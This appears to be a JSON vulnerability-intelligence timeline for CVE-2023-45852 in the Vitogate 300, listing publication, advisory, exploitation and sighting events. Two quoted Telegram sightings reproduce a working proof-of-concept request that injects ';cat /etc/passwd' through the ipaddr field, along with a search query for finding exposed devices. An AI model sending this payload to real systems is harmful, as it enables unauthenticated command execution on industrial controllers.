{"metadata": {"vulnerability": "cve-2023-45852", "count": 48, "kinds": {"milestone": 5, "sighting": 18, "kev": 11, "other": 14}}, "data": [{"timestamp": "2023-10-14T00:00:00Z", "date_only": false, "value": "2023-10-14T00:00:00.000Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "cve-2023-45852", "field": "cveMetadata.datePublished"}, {"timestamp": "2023-10-14T00:00:00Z", "date_only": false, "value": "2023-10-14T00:00:00.000Z", "kind": "milestone", "label": "Reserved", "source": "cvelistv5", "record": "cve-2023-45852", "field": "cveMetadata.dateReserved"}, {"timestamp": "2023-10-14T01:30:21.360Z", "date_only": false, "value": "2023-10-14T01:30:21.360Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / mitre", "record": "cve-2023-45852", "field": "containers.cna.providerMetadata.dateUpdated"}, {"timestamp": "2023-10-14T02:15:00Z", "date_only": false, "value": "2023-10-14T02:15Z", "kind": "other", "label": "Published Date", "source": "gsd \u00b7 GSD-2023-45852", "record": "GSD-2023-45852", "field": "namespaces.nvd.nist.gov.publishedDate"}, {"timestamp": "2023-10-14T02:15:09Z", "date_only": false, "value": "2023-10-14T02:15:09Z", "kind": "other", "label": "Nvd published at", "source": "github \u00b7 GHSA-4J4F-Q993-CR2R", "record": "GHSA-4J4F-Q993-CR2R", "field": "database_specific.nvd_published_at"}, {"timestamp": "2023-10-14T02:15:09.270Z", "date_only": false, "value": "2023-10-14T02:15:09.270", "kind": "milestone", "label": "Published", "source": "fkie_nvd \u00b7 FKIE_CVE-2023-45852", "record": "FKIE_CVE-2023-45852", "field": "published"}, {"timestamp": "2023-10-14T03:31:16Z", "date_only": false, "value": "2023-10-14T03:31:16Z", "kind": "milestone", "label": "Published", "source": "github \u00b7 GHSA-4J4F-Q993-CR2R", "record": "GHSA-4J4F-Q993-CR2R", "field": "published"}, {"timestamp": "2023-10-14T07:29:31Z", "date_only": false, "value": "2023-10-14T07:29:31.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/cibsecurity/72279", "record": "CVE-2023-45852", "field": "creation_timestamp", "uuid": "0a7feab4-e10c-4c80-b61c-7503ffe14f32", "content": "\u203c CVE-2023-45852 \u203c\n\nIn Vitogate 300 2.1.3.0, /cgi-bin/vitogate.cgi allows an unauthenticated attacker to bypass authentication and execute arbitrary commands via shell metacharacters in the ipaddr params JSON data for the put method.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "url": "https://t.me/cibsecurity/72279"}, {"timestamp": "2023-10-18T21:02:00Z", "date_only": false, "value": "2023-10-18T21:02Z", "kind": "other", "label": "Last Modified Date", "source": "gsd \u00b7 GSD-2023-45852", "record": "GSD-2023-45852", "field": "namespaces.nvd.nist.gov.lastModifiedDate"}, {"timestamp": "2023-10-31T19:52:09Z", "date_only": false, "value": "2023-10-31T19:52:09.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/-CUWKwBEcwVjAmflph_UE2rR4naQmsMl4HRbXghsNm8kRw", "record": "CVE-2023-45852", "field": "creation_timestamp", "uuid": "f6cb8e10-b50a-47e9-ba57-a154e181ffe7"}, {"timestamp": "2023-11-01T13:57:35Z", "date_only": false, "value": "2023-11-01T13:57:35+00:00", "kind": "kev", "label": "Asserted", "source": "shadowserver", "record": "CVE-2023-45852", "field": "timestamps.asserted_at", "uuid": "83bd92e5-c94e-44e9-aba5-40d943de390f", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2023-11-01T13:57:35Z", "date_only": false, "value": "2023-11-01T13:57:35+00:00", "kind": "kev", "label": "First seen", "source": "shadowserver", "record": "CVE-2023-45852", "field": "timestamps.first_seen_at", "uuid": "83bd92e5-c94e-44e9-aba5-40d943de390f", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2023-12-07T10:47:27Z", "date_only": false, "value": "2023-12-07T10:47:27.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/arvinclub1/1048", "record": "CVE-2023-45852", "field": "creation_timestamp", "uuid": "9a4f8a4a-829c-4470-a6a6-276c43164a3b", "content": "\u26a0\ufe0f\u26a0\ufe0f#CVE-2023-45852: Vitogate 300 Authentication Bypass and RCE                                    https://github.com/Push3AX/vul/blob/main/viessmann/Vitogate300_RCE.md", "url": "https://t.me/arvinclub1/1048"}, {"timestamp": "2023-12-13T01:20:38.108Z", "date_only": false, "value": "2023-12-13T01:20:38.108252Z", "kind": "other", "label": "Updated", "source": "gsd \u00b7 GSD-2023-45852", "record": "GSD-2023-45852", "field": "gsd.osvSchema.modified"}, {"timestamp": "2024-01-18T05:30:12Z", "date_only": false, "value": "2024-01-18T05:30:12.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/u-C24l9XxHu7bdFiH5W60ovVUpL1uXNndLlHucoZU6-x0g", "record": "CVE-2023-45852", "field": "creation_timestamp", "uuid": "3f75802a-6655-4d02-8478-2388130944cb"}, {"timestamp": "2024-01-18T09:33:45Z", "date_only": false, "value": "2024-01-18T09:33:45.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CNArsenal/1867", "record": "CVE-2023-45852", "field": "creation_timestamp", "uuid": "0084b13e-b25d-4a49-ab96-50bc885071f5", "content": "CVE-2023-45852\n\nfofa  title=\"Vitogate 300\"\n\nPOST /cgi-bin/vitogate.cgi HTTP/1.1\nHost: 127.0.0.1\nContent-Type: application/json\n\n{\"method\":\"put\",\"form\":\"form-4-8\",\"session\":\"\",\"params\":{\"ipaddr\":\"{{randstr}};cat /etc/passwd\"}}\n\ncat /etc/passwd\n\n#poc #exploit", "url": "https://t.me/CNArsenal/1867"}, {"timestamp": "2024-01-18T15:36:02Z", "date_only": false, "value": "2024-01-18T15:36:02.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/BUq-I64O_2qCWh7EKaq9hyKm7meoxoNShmWBZXweoLJ3ZA", "record": "CVE-2023-45852", "field": "creation_timestamp", "uuid": "f64932a4-61ab-48c1-a433-05a9b0b7a251"}, {"timestamp": "2024-01-26T02:15:27Z", "date_only": false, "value": "2024-01-26T02:15:27.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/Lbe1p7J_4UrgGxDKp8IA3nPHBW7KShSv3HLtF2U-f5RWFw", "record": "CVE-2023-45852", "field": "creation_timestamp", "uuid": "be144c1e-e3c3-454d-aee3-4f71d3036412"}, {"timestamp": "2024-04-04T08:38:29Z", "date_only": false, "value": "2024-04-04T08:38:29Z", "kind": "other", "label": "Updated", "source": "github \u00b7 GHSA-4J4F-Q993-CR2R", "record": "GHSA-4J4F-Q993-CR2R", "field": "modified"}, {"timestamp": "2024-06-08T00:15:49Z", "date_only": false, "value": "2024-06-08T00:15:49.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/Teamx1945x/6863", "record": "CVE-2023-45852", "field": "creation_timestamp", "uuid": "7580e0f1-77af-482a-939b-da552e7f8f3a", "content": "CVE-2023-45852\n\nfofa  title=\"Vitogate 300\"\n\nPOST /cgi-bin/vitogate.cgi HTTP/1.1\nHost: 127.0.0.1\nContent-Type: application/json\n\n{\"method\":\"put\",\"form\":\"form-4-8\",\"session\":\"\",\"params\":{\"ipaddr\":\"{{randstr}};cat /etc/passwd\"}}\n\ncat /etc/passwd\n\n#poc #exploit", "url": "https://t.me/Teamx1945x/6863"}, {"timestamp": "2024-08-02T20:29:32.492Z", "date_only": false, "value": "2024-08-02T20:29:32.492Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CVE", "record": "cve-2023-45852", "field": "containers.adp.0.providerMetadata.dateUpdated"}, {"timestamp": "2024-09-10T06:00:00Z", "date_only": false, "value": "2024-09-10T06:00:00.000000Z", "kind": "other", "label": "Advisory revision", "source": "csaf_cisa \u00b7 ICSA-24-254-01", "record": "ICSA-24-254-01", "field": "document.tracking.revision_history.0.date"}, {"timestamp": "2024-09-10T06:00:00Z", "date_only": false, "value": "2024-09-10T06:00:00.000000Z", "kind": "milestone", "label": "Published", "source": "csaf_cisa \u00b7 ICSA-24-254-01", "record": "ICSA-24-254-01", "field": "document.tracking.initial_release_date"}, {"timestamp": "2024-09-10T06:00:00Z", "date_only": false, "value": "2024-09-10T06:00:00.000000Z", "kind": "other", "label": "Updated", "source": "csaf_cisa \u00b7 ICSA-24-254-01", "record": "ICSA-24-254-01", "field": "document.tracking.current_release_date"}, {"timestamp": "2024-09-17T13:47:37.183Z", "date_only": false, "value": "2024-09-17T13:47:37.183018Z", "kind": "other", "label": "Recorded", "source": "cvelistv5 / CISA-ADP", "record": "cve-2023-45852", "field": "containers.adp.1.metrics.0.other.content.timestamp"}, {"timestamp": "2024-09-17T13:47:37.183Z", "date_only": false, "value": "2024-09-17T13:47:37.183018Z", "kind": "other", "label": "Recorded", "source": "fkie_nvd \u00b7 FKIE_CVE-2023-45852", "record": "FKIE_CVE-2023-45852", "field": "metrics.ssvcV203.0.ssvcData.timestamp"}, {"timestamp": "2024-09-17T13:47:53.087Z", "date_only": false, "value": "2024-09-17T13:47:53.087Z", "kind": "other", "label": "Updated", "source": "cvelistv5", "record": "cve-2023-45852", "field": "cveMetadata.dateUpdated"}, {"timestamp": "2024-09-17T13:47:53.087Z", "date_only": false, "value": "2024-09-17T13:47:53.087Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CISA-ADP", "record": "cve-2023-45852", "field": "containers.adp.1.providerMetadata.dateUpdated"}, {"timestamp": "2025-03-27T00:00:00Z", "date_only": false, "value": "2025-03-27T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-27)", "record": "CVE-2023-45852", "field": "creation_timestamp", "uuid": "3c1ce37f-0369-4f17-8a17-41361ab582df"}, {"timestamp": "2025-07-29T00:00:00Z", "date_only": false, "value": "2025-07-29T00:00:00+00:00", "kind": "kev", "label": "Asserted", "source": "kevintel", "record": "CVE-2023-45852", "field": "timestamps.asserted_at", "uuid": "5a812427-0660-4420-86a6-39240a518455", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2025-07-29T00:00:00Z", "date_only": false, "value": "2025-07-29T00:00:00.000Z", "kind": "kev", "label": "Catalog added", "source": "kevintel", "record": "CVE-2023-45852", "field": "evidence.0.details.added_date", "uuid": "5a812427-0660-4420-86a6-39240a518455", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2025-07-29T00:00:00Z", "date_only": false, "value": "2025-07-29T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-07-29)", "record": "CVE-2023-45852", "field": "creation_timestamp", "uuid": "359d0df9-88cf-49a8-9b6f-cd25933e1491"}, {"timestamp": "2025-07-29T00:00:00Z", "date_only": false, "value": "2025-07-29T00:00:00+00:00", "kind": "kev", "label": "First seen", "source": "kevintel", "record": "CVE-2023-45852", "field": "timestamps.first_seen_at", "uuid": "5a812427-0660-4420-86a6-39240a518455", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2025-07-29T00:00:00Z", "date_only": false, "value": "2025-07-29T00:00:00+00:00", "kind": "kev", "label": "Status updated", "source": "kevintel", "record": "CVE-2023-45852", "field": "status.status_updated_at", "uuid": "5a812427-0660-4420-86a6-39240a518455", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2025-10-05T00:00:00Z", "date_only": false, "value": "2025-10-05T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-10-05)", "record": "CVE-2023-45852", "field": "creation_timestamp", "uuid": "67a20398-7c37-4461-b00b-80e07cddbe4f"}, {"timestamp": "2026-03-09T00:00:00Z", "date_only": false, "value": "2026-03-09T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-09)", "record": "CVE-2023-45852", "field": "creation_timestamp", "uuid": "a007e897-c528-4153-9fc6-50a88f0df0d6"}, {"timestamp": "2026-06-17T06:29:39.257Z", "date_only": false, "value": "2026-06-17T06:29:39.257", "kind": "other", "label": "Updated", "source": "fkie_nvd \u00b7 FKIE_CVE-2023-45852", "record": "FKIE_CVE-2023-45852", "field": "lastModified"}, {"timestamp": "2026-06-19T12:45:57.726Z", "date_only": false, "value": "2026-06-19T12:45:57.726091Z", "kind": "sighting", "label": "Exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/6fe54f22-7e0f-4e72-b879-61e5d94feb53", "record": "CVE-2023-45852", "field": "creation_timestamp", "uuid": "4443a425-79e6-4ed0-917e-49abb7cdeee9", "url": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/6fe54f22-7e0f-4e72-b879-61e5d94feb53"}, {"timestamp": "2026-06-23T11:11:17Z", "date_only": false, "value": "2026-06-23T11:11:17+00:00", "kind": "kev", "label": "Recorded", "source": "kevintel", "record": "CVE-2023-45852", "field": "timestamps.recorded_at", "uuid": "5a812427-0660-4420-86a6-39240a518455", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-06-23T11:12:05.777Z", "date_only": false, "value": "2026-06-23T11:12:05.777796Z", "kind": "sighting", "label": "Exploited", "source": "https://db.gcve.eu/known-exploited-vulnerabilities-catalog/5a812427-0660-4420-86a6-39240a518455", "record": "CVE-2023-45852", "field": "creation_timestamp", "uuid": "2e0803b5-e683-4878-9b63-4f56800971a2", "url": "https://db.gcve.eu/known-exploited-vulnerabilities-catalog/5a812427-0660-4420-86a6-39240a518455"}, {"timestamp": "2026-06-23T14:03:20.926Z", "date_only": false, "value": "2026-06-23T14:03:20.926618Z", "kind": "sighting", "label": "Exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/199ea8d6-9960-4567-ac30-656472d14bf3", "record": "CVE-2023-45852", "field": "creation_timestamp", "uuid": "f6728f38-55f8-4c73-b58e-ca41f7b679ff", "url": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/199ea8d6-9960-4567-ac30-656472d14bf3"}, {"timestamp": "2026-06-30T09:23:06.211Z", "date_only": false, "value": "2026-06-30T09:23:06.211895Z", "kind": "sighting", "label": "Exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/a464144c-d7bb-40ed-9782-ded524ae75c2", "record": "CVE-2023-45852", "field": "creation_timestamp", "uuid": "51b722a9-4767-461d-b6e2-f35362f8565a", "url": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/a464144c-d7bb-40ed-9782-ded524ae75c2"}, {"timestamp": "2026-07-01T05:54:36.926Z", "date_only": false, "value": "2026-07-01T05:54:36.926790Z", "kind": "sighting", "label": "Exploited", "source": "https://db.gcve.eu/known-exploited-vulnerabilities-catalog/83bd92e5-c94e-44e9-aba5-40d943de390f", "record": "CVE-2023-45852", "field": "creation_timestamp", "uuid": "b73294fd-d413-4530-aff7-a37b883266f4", "url": "https://db.gcve.eu/known-exploited-vulnerabilities-catalog/83bd92e5-c94e-44e9-aba5-40d943de390f"}, {"timestamp": "2026-08-10T10:15:10.235Z", "date_only": false, "value": "2026-08-10T10:15:10.235738Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-08-09)", "record": "CVE-2023-45852", "field": "creation_timestamp", "uuid": "71949e8c-ea7c-4f97-9498-1fedea0208cb"}, {"timestamp": "2026-10-21T00:00:00Z", "date_only": false, "value": "2026-10-21T00:00:00+00:00", "kind": "kev", "label": "Last seen", "source": "shadowserver", "record": "CVE-2023-45852", "field": "timestamps.last_seen_at", "uuid": "83bd92e5-c94e-44e9-aba5-40d943de390f", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-10-21T00:00:00Z", "date_only": true, "value": "2026-10-21", "kind": "kev", "label": "Observation date", "source": "shadowserver", "record": "CVE-2023-45852", "field": "evidence.0.details.observation_date", "uuid": "83bd92e5-c94e-44e9-aba5-40d943de390f", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-10-21T00:00:00Z", "date_only": false, "value": "2026-10-21T00:00:00+00:00", "kind": "kev", "label": "Status updated", "source": "shadowserver", "record": "CVE-2023-45852", "field": "status.status_updated_at", "uuid": "83bd92e5-c94e-44e9-aba5-40d943de390f", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-10-23T01:00:01Z", "date_only": false, "value": "2026-10-23T01:00:01+00:00", "kind": "kev", "label": "Recorded", "source": "shadowserver", "record": "CVE-2023-45852", "field": "timestamps.recorded_at", "uuid": "83bd92e5-c94e-44e9-aba5-40d943de390f", "status": {"status_reason": "confirmed", "exploited": true}}]}